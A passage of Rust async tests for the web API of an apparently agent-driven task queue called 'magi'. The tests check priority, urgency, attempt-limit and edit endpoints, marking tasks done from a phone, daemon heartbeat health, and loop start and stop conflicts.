17739        t.hold_reason = Some("waiting for approval".into());
17740        for status in [TaskStatus::Queued, TaskStatus::Held] {
17741            t.status = status;
17742            q.put(&mut t).unwrap();
17743            for urgent in [true, true, false, false] {
17744                let response = f
17745                    .post(
17746                        &format!("/api/queue/{}/urgent", t.short()),
17747                        Some(&format!("{{\"urgent\":{urgent}}}")),
17748                    )
17749                    .await;
17750                assert_eq!(response.status, 200, "{}", response.body);
17751                assert_eq!(response.json()["urgent"], urgent);
17752                let saved = q.get(&t.id).unwrap();
17753                let mut before = serde_json::to_value(&t).unwrap();
17754                let mut after = serde_json::to_value(saved).unwrap();
17755                before["urgent"] = urgent.into();
17756                before.as_object_mut().unwrap().remove("updated_at");
17757                after.as_object_mut().unwrap().remove("updated_at");
17758                assert_eq!(after, before);
17759            }
17760        }
17761        let route = format!("/api/queue/{}/urgent", t.id);
17762        for body in [
17763            r#"{}"#,
17764            r#"{"urgent":null}"#,
17765            r#"{"urgent":"true"}"#,
17766            r#"{"urgent":1}"#,
17767            r#"{"urgent":true,"extra":false}"#,
17768            "{",
17769        ] {
17770            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17771        }
17772        t.status = TaskStatus::Queued;
17773        q.put(&mut t).unwrap();
17774        let claim = q.claim(&t.id).unwrap();
17775        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17776        assert_eq!(response.status, 409, "{}", response.body);
17777        assert!(!q.get(&t.id).unwrap().urgent);
17778        drop(claim);
17779        for status in [
17780            TaskStatus::Running,
17781            TaskStatus::Done,
17782            TaskStatus::Failed,
17783            TaskStatus::Blocked,
17784            TaskStatus::Parked,
17785        ] {
17786            t.status = status;
17787            q.put(&mut t).unwrap();
17788            for urgent in [true, false] {
17789                let response = f
17790                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17791                    .await;
17792                assert_eq!(response.status, 400, "{}", response.body);
17793                assert!(response.body.contains(status.as_str()));
17794                assert!(response.body.contains("queued or held"));
17795                assert!(!q.get(&t.id).unwrap().urgent);
17796            }
17797        }
17798        assert_eq!(
17799            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17800                .await
17801                .status,
17802            404
17803        );
17804    }
17805
17806    #[tokio::test]
17807    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17808        let f = Fixture::start().await;
17809        let queue = f.queue();
17810        let mut older = Task::new(
17811            "filed first".to_owned(),
17812            "x".to_owned(),
17813            PathBuf::from("/repo/magi"),
17814            Source::Human,
17815        );
17816        older.id = "20260101-000001-aaaa".to_owned();
17817        let mut newer = Task::new(
17818            "filed second".to_owned(),
17819            "x".to_owned(),
17820            PathBuf::from("/repo/magi"),
17821            Source::Human,
17822        );
17823        newer.id = "20260101-000002-bbbb".to_owned();
17824        queue.put(&mut older).expect("file older");
17825        queue.put(&mut newer).expect("file newer");
17826
17827        // Equal priority: the newer task leads, the same order the old
17828        // newest-first `list()` already gave every equal-priority queue.
17829        let before = f.get("/api/queue").await.json();
17830        assert_eq!(before[0]["id"], newer.id);
17831        assert_eq!(before[1]["id"], older.id);
17832
17833        // Raising the *older* task is the meaningful case: it can only lead
17834        // now because its priority says so, not because it happens to be
17835        // newest.
17836        let raised = f
17837            .post(
17838                &format!("/api/queue/{}/priority", older.id),
17839                Some(r#"{"priority":10}"#),
17840            )
17841            .await;
17842        assert_eq!(raised.status, 200, "{}", raised.body);
17843        assert_eq!(raised.json()["priority"], 10);
17844
17845        let after = f.get("/api/queue").await.json();
17846        let names: Vec<&str> = after
17847            .as_array()
17848            .unwrap()
17849            .iter()
17850            .map(|t| t["id"].as_str().unwrap())
17851            .collect();
17852        // Highest priority first, which is the order next_runnable and
17853        // `magi task list` both use - GET /api/queue must agree with it
17854        // immediately, not just once the loop claims the task.
17855        assert_eq!(names[0], older.id, "the raised task now sorts first");
17856    }
17857
17858    #[tokio::test]
17859    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17860        let dir = TempDir::new().unwrap();
17861        let q = Queue::at(dir.path().join("queue"));
17862        let ui = Arc::new(Ui::new(
17863            q.clone(),
17864            Questions::at(dir.path().join("questions")),
17865            Talks::at(dir.path().join("talks")),
17866            dir.path().join("runs"),
17867            dir.path().to_path_buf(),
17868            dir.path().to_path_buf(),
17869        ));
17870        let mut t = Task::new(
17871            "budget".into(),
17872            "keep".into(),
17873            dir.path().into(),
17874            Source::Human,
17875        );
17876        t.attempts = 2;
17877        t.runs.push("prior-run".into());
17878        t.hold_manual(Some("waiting".into()));
17879        q.put(&mut t).unwrap();
17880        let change = |value| {
17881            queue_attempt_limit(
17882                State(ui.clone()),
17883                Path(t.id.clone()),
17884                Ok(Json(AttemptLimitBody {
17885                    attempt_limit: value,
17886                })),
17887            )
17888        };
17889        for value in [
17890            serde_json::json!(3),
17891            serde_json::Value::Null,
17892            serde_json::json!(1),
17893        ] {
17894            let response = change(value.clone()).await.unwrap();
17895            assert_eq!(
17896                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17897                value
17898            );
17899            let saved = q.get(&t.id).unwrap();
17900            assert_eq!(
17901                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17902                value
17903            );
17904            assert_eq!(saved.status, TaskStatus::Held);
17905            assert_eq!(saved.attempts, t.attempts);
17906            assert_eq!(saved.runs, t.runs);
17907            assert_eq!(saved.hold_reason, t.hold_reason);
17908            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17909                .await
17910                .unwrap()
17911                .0;
17912            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17913            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17914            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17915            assert_eq!(outcome.max_attempts, detail.max_attempts);
17916        }
17917        for value in [
17918            serde_json::json!(0),
17919            serde_json::json!(-1),
17920            serde_json::json!(1.5),
17921            serde_json::json!("3"),
17922            serde_json::json!(true),
17923        ] {
17924            assert_eq!(
17925                change(value).await.err().unwrap().status,
17926                StatusCode::BAD_REQUEST
17927            );
17928        }
17929        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17930        let claim = q.claim(&t.id).unwrap();
17931        assert_eq!(
17932            change(serde_json::json!(4)).await.err().unwrap().status,
17933            StatusCode::CONFLICT
17934        );
17935        drop(claim);
17936        for status in [
17937            TaskStatus::Running,
17938            TaskStatus::Done,
17939            TaskStatus::Failed,
17940            TaskStatus::Blocked,
17941            TaskStatus::Parked,
17942        ] {
17943            let mut stored = q.get(&t.id).unwrap();
17944            stored.status = status;
17945            q.put(&mut stored).unwrap();
17946            assert_eq!(
17947                change(serde_json::json!(4)).await.err().unwrap().status,
17948                StatusCode::BAD_REQUEST
17949            );
17950            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17951        }
17952        let mut stored = q.get(&t.id).unwrap();
17953        stored.status = TaskStatus::Queued;
17954        q.put(&mut stored).unwrap();
17955        let _ = change(serde_json::Value::Null).await.unwrap();
17956        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17957    }
17958
17959    #[tokio::test]
17960    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17961        let dir = TempDir::new().unwrap();
17962        let repo = dir.path().join("repo");
17963        std::fs::create_dir(&repo).unwrap();
17964        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17965        let q = Queue::at(dir.path().join("queue"));
17966        let ui = Arc::new(Ui::new(
17967            q.clone(),
17968            Questions::at(dir.path().join("questions")),
17969            Talks::at(dir.path().join("talks")),
17970            dir.path().join("runs"),
17971            dir.path().to_path_buf(),
17972            repo.clone(),
17973        ));
17974        let mut t = Task::new(
17975            "seats".into(),
17976            "keep instruction".into(),
17977            repo,
17978            Source::Human,
17979        );
17980        t.runs.push("prior-run".into());
17981        t.hold_manual(Some("waiting".into()));
17982        q.put(&mut t).unwrap();
17983        let change = |count| {
17984            queue_implementers(
17985                State(ui.clone()),
17986                Path(t.id.clone()),
17987                Ok(Json(ImplementersBody {
17988                    implementers: count,
17989                })),
17990            )
17991        };
17992        for count in [2, 1, 2] {
17993            let response = change(count).await.unwrap();
17994            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17995            let saved = q.get(&t.id).unwrap();
17996            assert_eq!(saved.implementers(), Some(usize::from(count)));
17997            assert_eq!(saved.runs, t.runs);
17998            assert_eq!(saved.instruction, t.instruction);
17999        }
18000        for count in [0, 4] {
18001            assert_eq!(
18002                change(count).await.err().unwrap().status,
18003                StatusCode::BAD_REQUEST
18004            );
18005        }
18006        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18007        let claim = q.claim(&t.id).unwrap();
18008        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18009        drop(claim);
18010        for status in [
18011            TaskStatus::Running,
18012            TaskStatus::Done,
18013            TaskStatus::Failed,
18014            TaskStatus::Blocked,
18015            TaskStatus::Parked,
18016        ] {
18017            let mut stored = q.get(&t.id).unwrap();
18018            stored.status = status;
18019            q.put(&mut stored).unwrap();
18020            assert_eq!(
18021                change(1).await.err().unwrap().status,
18022                StatusCode::BAD_REQUEST
18023            );
18024            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18025        }
18026    }
18027
18028    #[tokio::test]
18029    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18030        let f = Fixture::start().await;
18031        let queue = f.queue();
18032        let mut task = Task::new(
18033            "in flight".to_owned(),
18034            "x".to_owned(),
18035            PathBuf::from("/repo/magi"),
18036            Source::Human,
18037        );
18038        task.start("20260902-140502-bbbb".to_owned());
18039        queue.put(&mut task).expect("file the task");
18040
18041        let res = f
18042            .post(
18043                &format!("/api/queue/{}/priority", task.id),
18044                Some(r#"{"priority":9}"#),
18045            )
18046            .await;
18047        assert_eq!(res.status, 400, "{}", res.body);
18048        assert!(
18049            res.json()["error"]
18050                .as_str()
18051                .is_some_and(|e| e.contains("running")),
18052            "{}",
18053            res.body
18054        );
18055        assert_eq!(
18056            queue.get(&task.id).expect("reload").priority,
18057            0,
18058            "the refused write must not partially apply"
18059        );
18060    }
18061
18062    #[tokio::test]
18063    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18064        let f = Fixture::start().await;
18065        let queue = f.queue();
18066        let mut task = Task::new(
18067            "old title".to_owned(),
18068            "old instruction".to_owned(),
18069            PathBuf::from("/repo/magi"),
18070            Source::Agent {
18071                run: "20260101-000000-beef".to_owned(),
18072                node: "implement".to_owned(),
18073            },
18074        );
18075        task.runs.push("20260101-000000-beef".to_owned());
18076        queue.put(&mut task).expect("file the task");
18077        let created_at = task.created_at;
18078
18079        let edited = f
18080            .post(
18081                &format!("/api/queue/{}/edit", task.id),
18082                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18083            )
18084            .await;
18085        assert_eq!(edited.status, 200, "{}", edited.body);
18086        let body = edited.json();
18087        assert_eq!(body["title"], "new title");
18088        assert_eq!(body["instruction"], "new instruction");
18089        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18090        assert_eq!(body["created_at"], created_at.to_string());
18091        assert_eq!(
18092            body["source"]["kind"], "agent",
18093            "editing a task an agent filed must not turn it human: {body}"
18094        );
18095        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18096
18097        let reloaded = queue.get(&task.id).expect("reload");
18098        assert_eq!(reloaded.title, "new title");
18099        assert_eq!(reloaded.instruction, "new instruction");
18100    }
18101
18102    #[tokio::test]
18103    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18104        // The judge is an agent now: a repo whose only agent answers
18105        // "duplicate" stands in for it, so the refusal is the judge's.
18106        let tmp = TempDir::new().expect("tempdir");
18107        let repo = tmp.path().join("repo");
18108        std::fs::create_dir_all(&repo).expect("repo dir");
18109        let judge = MOCK_AGENT_TOML.replace(
18110            "printf ok",
18111            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18112        );
18113        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18114        let f = Fixture::with_repo(repo.clone()).await;
18115        let queue = f.queue();
18116        let mut owner = Task::new(
18117            "owner".to_owned(),
18118            "review it".to_owned(),
18119            repo.clone(),
18120            Source::Human,
18121        );
18122        owner.review_branch = Some("magi/ab12/A".to_owned());
18123        queue.put(&mut owner).expect("file the owner");
18124        let mut task = Task::new(
18125            "draft".to_owned(),
18126            "old".to_owned(),
18127            repo.clone(),
18128            Source::Human,
18129        );
18130        queue.put(&mut task).expect("file the draft");
18131        let url = format!("/api/queue/{}/edit", task.id);
18132
18133        let refused = f
18134            .post(
18135                &url,
18136                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18137            )
18138            .await;
18139        assert_eq!(refused.status, 409, "{}", refused.body);
18140        let msg = refused.json()["error"]
18141            .as_str()
18142            .unwrap_or_default()
18143            .to_owned();
18144        assert!(
18145            msg.contains("magi/ab12/A") && msg.contains("force"),
18146            "{msg}"
18147        );
18148        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18149
18150        let forced = f
18151            .post(
18152                &url,
18153                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18154            )
18155            .await;
18156        assert_eq!(forced.status, 200, "{}", forced.body);
18157    }
18158
18159    #[tokio::test]
18160    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18161        let f = Fixture::start().await;
18162        let queue = f.queue();
18163        let mut task = Task::new(
18164            "in flight".to_owned(),
18165            "do not touch".to_owned(),
18166            PathBuf::from("/repo/magi"),
18167            Source::Human,
18168        );
18169        task.start("20260902-140502-bbbb".to_owned());
18170        queue.put(&mut task).expect("file the task");
18171
18172        let res = f
18173            .post(
18174                &format!("/api/queue/{}/edit", task.id),
18175                Some(r#"{"title":"x","instruction":"y"}"#),
18176            )
18177            .await;
18178        assert_eq!(res.status, 400, "{}", res.body);
18179        assert!(
18180            res.json()["error"]
18181                .as_str()
18182                .is_some_and(|e| e.contains("running")),
18183            "{}",
18184            res.body
18185        );
18186        assert_eq!(
18187            queue.get(&task.id).expect("reload").instruction,
18188            "do not touch",
18189            "the refused edit must not change the file"
18190        );
18191    }
18192
18193    #[tokio::test]
18194    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18195        let f = Fixture::start().await;
18196        let queue = f.queue();
18197        let mut task = Task::new(
18198            "busy".to_owned(),
18199            "Running right now".to_owned(),
18200            PathBuf::from("/repo/magi"),
18201            Source::Human,
18202        );
18203        queue.put(&mut task).expect("file the task");
18204        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18205
18206        let priority = f
18207            .post(
18208                &format!("/api/queue/{}/priority", task.id),
18209                Some(r#"{"priority":9}"#),
18210            )
18211            .await;
18212        assert_eq!(priority.status, 409, "{}", priority.body);
18213
18214        let edit = f
18215            .post(
18216                &format!("/api/queue/{}/edit", task.id),
18217                Some(r#"{"title":"x","instruction":"y"}"#),
18218            )
18219            .await;
18220        assert_eq!(edit.status, 409, "{}", edit.body);
18221    }
18222
18223    #[tokio::test]
18224    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18225        let f = Fixture::start().await;
18226        let queue = f.queue();
18227        let mut task = Task::new(
18228            "shipped by hand".to_owned(),
18229            "merged outside the loop".to_owned(),
18230            PathBuf::from("/repo/magi"),
18231            Source::Agent {
18232                run: "20260101-000000-b455".to_owned(),
18233                node: "implement".to_owned(),
18234            },
18235        );
18236        task.runs.push("20260101-000000-b455".to_owned());
18237        task.runs.push("20260101-000000-9af4".to_owned());
18238        queue.put(&mut task).expect("file the task");
18239        let created_at = task.created_at;
18240
18241        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18242        assert_eq!(done.status, 200, "{}", done.body);
18243        assert_eq!(done.json()["status_str"], "done");
18244
18245        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18246        assert_eq!(
18247            reloaded.runs,
18248            ["20260101-000000-b455", "20260101-000000-9af4"]
18249        );
18250        assert_eq!(
18251            reloaded.source,
18252            Source::Agent {
18253                run: "20260101-000000-b455".to_owned(),
18254                node: "implement".to_owned(),
18255            }
18256        );
18257        assert_eq!(reloaded.created_at, created_at);
18258    }
18259
18260    #[tokio::test]
18261    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18262        // `done` is allowed on any status, including `held`, with no release
18263        // in between - so a task held for a reason and then closed directly
18264        // must not keep reading as "waiting on" it afterwards, on its card or
18265        // in `magi task show`.
18266        let f = Fixture::start().await;
18267        let queue = f.queue();
18268        let mut task = Task::new(
18269            "landed while held".to_owned(),
18270            "x".to_owned(),
18271            PathBuf::from("/repo/magi"),
18272            Source::Human,
18273        );
18274        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18275        queue.put(&mut task).expect("file the held task");
18276
18277        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18278        assert_eq!(done.status, 200, "{}", done.body);
18279        assert_eq!(done.json()["status_str"], "done");
18280        assert!(
18281            done.json()["hold_reason"].is_null(),
18282            "a done task cannot still be waiting on something: {}",
18283            done.body
18284        );
18285    }
18286
18287    #[tokio::test]
18288    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18289        // `queue_done` is the phone's way to close a task the loop never
18290        // settled itself - after confirming a manual GitHub merge, say - and
18291        // that is just as much "this task's story is over" as the loop's own
18292        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18293        let f = Fixture::start().await;
18294        let queue = f.queue();
18295        let runs = f.runs();
18296        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18297        // The last attempt has to have actually landed for the earlier one
18298        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18299        // for the case where it didn't.
18300        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18301
18302        let mut task = Task::new(
18303            "landed by hand".to_owned(),
18304            "x".to_owned(),
18305            PathBuf::from("/repo/magi"),
18306            Source::Human,
18307        );
18308        task.runs.push("20260101-000000-doa1".to_owned());
18309        task.runs.push("20260101-000000-doa2".to_owned());
18310        queue.put(&mut task).expect("file the task");
18311
18312        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18313        assert_eq!(done.status, 200, "{}", done.body);
18314
18315        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18316            .expect("run still on disk under this fixture's own home");
18317        assert_eq!(
18318            reloaded_run.status,
18319            RunStatus::Superseded,
18320            "closing the task by hand must relabel the earlier blocked attempt exactly \
18321             like the loop's own settle path does"
18322        );
18323    }
18324
18325    #[tokio::test]
18326    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18327        // Closing a task by hand is allowed from any status, including one
18328        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18329        // manual merge the loop never watched, say. Nothing here is provably
18330        // why the task is done, so nothing earlier gets relabelled either.
18331        let f = Fixture::start().await;
18332        let queue = f.queue();
18333        let runs = f.runs();
18334        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18335        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18336
18337        let mut task = Task::new(
18338            "closed with nothing actually landed".to_owned(),
18339            "x".to_owned(),
18340            PathBuf::from("/repo/magi"),
18341            Source::Human,
18342        );
18343        task.runs.push("20260101-000000-dob1".to_owned());
18344        task.runs.push("20260101-000000-dob2".to_owned());
18345        queue.put(&mut task).expect("file the task");
18346
18347        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18348        assert_eq!(done.status, 200, "{}", done.body);
18349
18350        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18351            .expect("run still on disk under this fixture's own home");
18352        assert_eq!(
18353            reloaded_run.status,
18354            RunStatus::Blocked,
18355            "the last recorded attempt never landed, so the earlier one must not be \
18356             relabelled as superseded by it"
18357        );
18358    }
18359
18360    #[tokio::test]
18361    async fn unknown_ids_are_json_not_found_on_both_stores() {
18362        let f = Fixture::start().await;
18363
18364        let run = f.get("/api/runs/nosuchrun").await;
18365        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18366
18367        assert_eq!(run.status, 404);
18368        assert_eq!(task.status, 404);
18369        assert!(
18370            run.json()["error"]
18371                .as_str()
18372                .is_some_and(|e| e.contains("run")),
18373            "the error names what was not found: {}",
18374            run.body
18375        );
18376        assert!(
18377            task.json()["error"]
18378                .as_str()
18379                .is_some_and(|e| e.contains("task")),
18380            "the error names what was not found: {}",
18381            task.body
18382        );
18383    }
18384
18385    #[tokio::test]
18386    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18387        let f = Fixture::start().await;
18388
18389        let missing = f.get("/api/health").await.json();
18390        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18391
18392        write_daemon(
18393            f.home.path(),
18394            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18395        );
18396        let stale = f.get("/api/health").await.json();
18397        assert_eq!(
18398            stale["daemon"]["running"], false,
18399            "a minute without a heartbeat is a dead daemon, not a busy one"
18400        );
18401        assert!(
18402            stale["daemon"]["stale_for_secs"]
18403                .as_i64()
18404                .is_some_and(|s| s >= 55),
18405            "staleness is reported so the UI can say how long: {stale}"
18406        );
18407
18408        write_daemon(f.home.path(), Timestamp::now());
18409        let fresh = f.get("/api/health").await.json();
18410        assert_eq!(fresh["daemon"]["running"], true);
18411        assert_eq!(fresh["daemon"]["idle"], false);
18412        assert_eq!(fresh["daemon"]["pid"], 4242);
18413        assert_eq!(fresh["daemon"]["completed"], 7);
18414        assert_eq!(
18415            fresh["daemon"]["current"][0]["task"],
18416            "20260902-140501-aaaa"
18417        );
18418        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18419    }
18420
18421    #[tokio::test]
18422    async fn the_loop_is_not_running_until_something_starts_it() {
18423        let f = Fixture::start().await;
18424
18425        let view = f.get("/api/loop").await.json();
18426        assert_eq!(view["running"], false);
18427        assert_eq!(
18428            view["owned"], false,
18429            "nobody owns a loop that does not exist: {view}"
18430        );
18431        assert_eq!(view["stopping"], false);
18432        assert_eq!(view["last_error"], Value::Null);
18433        assert_eq!(view["daemon"]["running"], false);
18434        assert_eq!(
18435            view["repo"], "/repo/magi",
18436            "the repository a start would use, named before it is started"
18437        );
18438    }
18439
18440    #[tokio::test]
18441    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18442        let f = Fixture::start().await;
18443
18444        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18445        assert_eq!(res.status, 200, "{}", res.body);
18446        let view = res.json();
18447        assert_eq!(view["running"], true);
18448        assert_eq!(
18449            view["owned"], true,
18450            "the loop the UI started is the UI's own to stop: {view}"
18451        );
18452        assert_eq!(
18453            view["merge"],
18454            Value::Null,
18455            "no override was given, so each repository's own config decides"
18456        );
18457
18458        // The same object from the route a waking phone polls first. Two
18459        // surfaces disagreeing about whether anything is running is exactly
18460        // the confusion this UI exists to remove.
18461        let health = f.get("/api/health").await.json();
18462        assert_eq!(health["loop"]["running"], true, "{health}");
18463        assert_eq!(health["loop"]["owned"], true, "{health}");
18464
18465        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18466    }
18467
18468    #[tokio::test]
18469    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18470        let f = Fixture::start().await;
18471        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18472        assert_eq!(first.status, 200, "{}", first.body);
18473
18474        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18475        assert_eq!(
18476            again.status, 409,
18477            "two loops on one queue race for the same claims: {}",
18478            again.body
18479        );
18480        assert!(
18481            again.json()["error"]
18482                .as_str()
18483                .is_some_and(|e| e.contains("already running the loop")),
18484            "the refusal has to say why: {}",
18485            again.body
18486        );
18487        assert_eq!(
18488            f.get("/api/loop").await.json()["running"],
18489            true,
18490            "and the loop that was already running is untouched by it"
18491        );
18492
18493        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18494    }
18495
18496    #[tokio::test]
18497    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18498        let f = Fixture::start().await;
18499        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18500
18501        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18502        assert_eq!(
18503            res.status, 200,
18504            "the answer must not wait for the loop: a run in flight is tens of \
18505             minutes and the operator is holding a phone: {}",
18506            res.body
18507        );
18508
18509        let view = settled(&f, |v| v["running"] == false).await;
18510        assert_eq!(view["owned"], false);
18511        assert_eq!(
18512            view["stopping"], false,
18513            "a loop that has stopped is not still stopping: {view}"
18514        );
18515        assert_eq!(
18516            view["last_error"],
18517            Value::Null,
18518            "a loop that was asked to stop did not fail: {view}"
18519        );
18520
18521        // Idempotent, because the operator cannot tell a slow stop from a lost
18522        // one and will press it again.
18523        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18524        assert_eq!(twice.status, 200, "{}", twice.body);
18525    }
18526
18527    #[tokio::test]
18528    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18529        let f = Fixture::start().await;
18530        // How the operator has been doing it: a `magi serve` of their own,
18531        // heartbeat fresh, in the same home this UI reads.
18532        write_daemon(f.home.path(), Timestamp::now());
18533
18534        let view = f.get("/api/loop").await.json();
18535        assert_eq!(view["running"], false, "not in this process: {view}");
18536        assert_eq!(view["owned"], false, "and not this process's to control");
18537        assert_eq!(
18538            view["daemon"]["running"], true,
18539            "but a loop is alive somewhere, which is what the UI must say"
18540        );
18541        assert_eq!(view["daemon"]["pid"], 4242);
18542
18543        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18544            let res = f.post("/api/loop", Some(body)).await;
18545            assert_eq!(
18546                res.status, 409,
18547                "neither button may pretend to work on someone else's loop: {}",
18548                res.body
18549            );
18550            assert!(
18551                res.json()["error"]
18552                    .as_str()
18553                    .is_some_and(|e| e.contains("4242")),
18554                "the refusal has to name the process the operator must go to: {}",
18555                res.body
18556            );
18557        }
18558        assert_eq!(
18559            f.get("/api/loop").await.json()["running"],
18560            false,
18561            "and the refusal started nothing"
18562        );
18563    }
18564
18565    #[tokio::test]
18566    async fn a_stale_status_file_is_not_a_foreign_owner() {
18567        let f = Fixture::start().await;
18568        write_daemon(
18569            f.home.path(),
18570            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18571        );
18572
18573        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18574        assert_eq!(
18575            res.status, 200,
18576            "a daemon killed a minute ago must not lock the loop out of its \
18577             own home for good: {}",
18578            res.body
18579        );
18580        assert_eq!(res.json()["running"], true);
18581
18582        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18583    }
18584
18585    #[tokio::test]
18586    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18587        let f = Fixture::start().await;
18588        let before = f.get("/api/health").await.json()["loop_rev"]
18589            .as_u64()
18590            .expect("a loop revision");
18591
18592        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18593
18594        let after = f.get("/api/health").await.json()["loop_rev"]
18595            .as_u64()
18596            .expect("a loop revision");
18597        assert!(
18598            after > before,
18599            "the loop is in-process state, so this counter is the only thing \
18600             that tells a second device the first one started it: {before} -> \
18601             {after}"
18602        );
18603
18604        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18605    }
18606
18607    #[tokio::test]
18608    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18609        let f = Fixture::with_loop(launch_broken).await;
18610
18611        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18612        assert_eq!(
18613            res.status, 200,
18614            "starting it is not the failure: {}",
18615            res.body
18616        );
18617
18618        let view = settled(&f, |v| v["last_error"].is_string()).await;
18619        assert_eq!(
18620            view["running"], false,
18621            "a loop that died must not read as running, or the operator has \
18622             nothing to press: {view}"
18623        );
18624        assert_eq!(view["owned"], false);
18625        assert!(
18626            view["last_error"]
18627                .as_str()
18628                .is_some_and(|e| e.contains("read-only file system")),
18629            "the phone is where a loop that died at 3am is visible: {view}"
18630        );
18631
18632        // And it can be started again: the corpse was reaped, not left to
18633        // occupy the slot.
18634        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18635        assert_eq!(again.status, 200, "{}", again.body);
18636        assert!(
18637            again.json()["last_error"]
18638                .as_str()
18639                .is_none_or(|e| !e.contains("read-only file system")),
18640            "a fresh start does not keep showing why the last one died: {}",
18641            again.body
18642        );
18643    }
18644
18645    #[tokio::test]
18646    async fn a_newer_daemon_status_file_still_renders() {
18647        let f = Fixture::start().await;
18648        // A field this build has never heard of must not turn the status line
18649        // into a 500; that is the whole reason the reader is permissive.
18650        std::fs::write(
18651            f.home.path().join("daemon.json"),
18652            serde_json::json!({
18653                "schema": 2,
18654                "updated_at": Timestamp::now().to_string(),
18655                "idle": true,
18656                "surprise": { "nested": [1, 2, 3] },
18657            })
18658            .to_string(),
18659        )
18660        .expect("write daemon.json");
18661
18662        let health = f.get("/api/health").await;
18663
18664        assert_eq!(health.status, 200);
18665        assert_eq!(health.json()["daemon"]["running"], true);
18666    }
18667
18668    #[tokio::test]
18669    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18670        let f = Fixture::start().await;
18671        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18672        let broken = f.runs().join("20260902-140502-bad");
18673        std::fs::create_dir_all(&broken).expect("run dir");
18674        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18675
18676        let list = f.get("/api/runs").await;
18677        let detail = f.get("/api/runs/20260902-140502-bad").await;
18678
18679        assert_eq!(list.status, 200);
18680        let listed = list.json();
18681        let ids: Vec<&str> = listed
18682            .as_array()
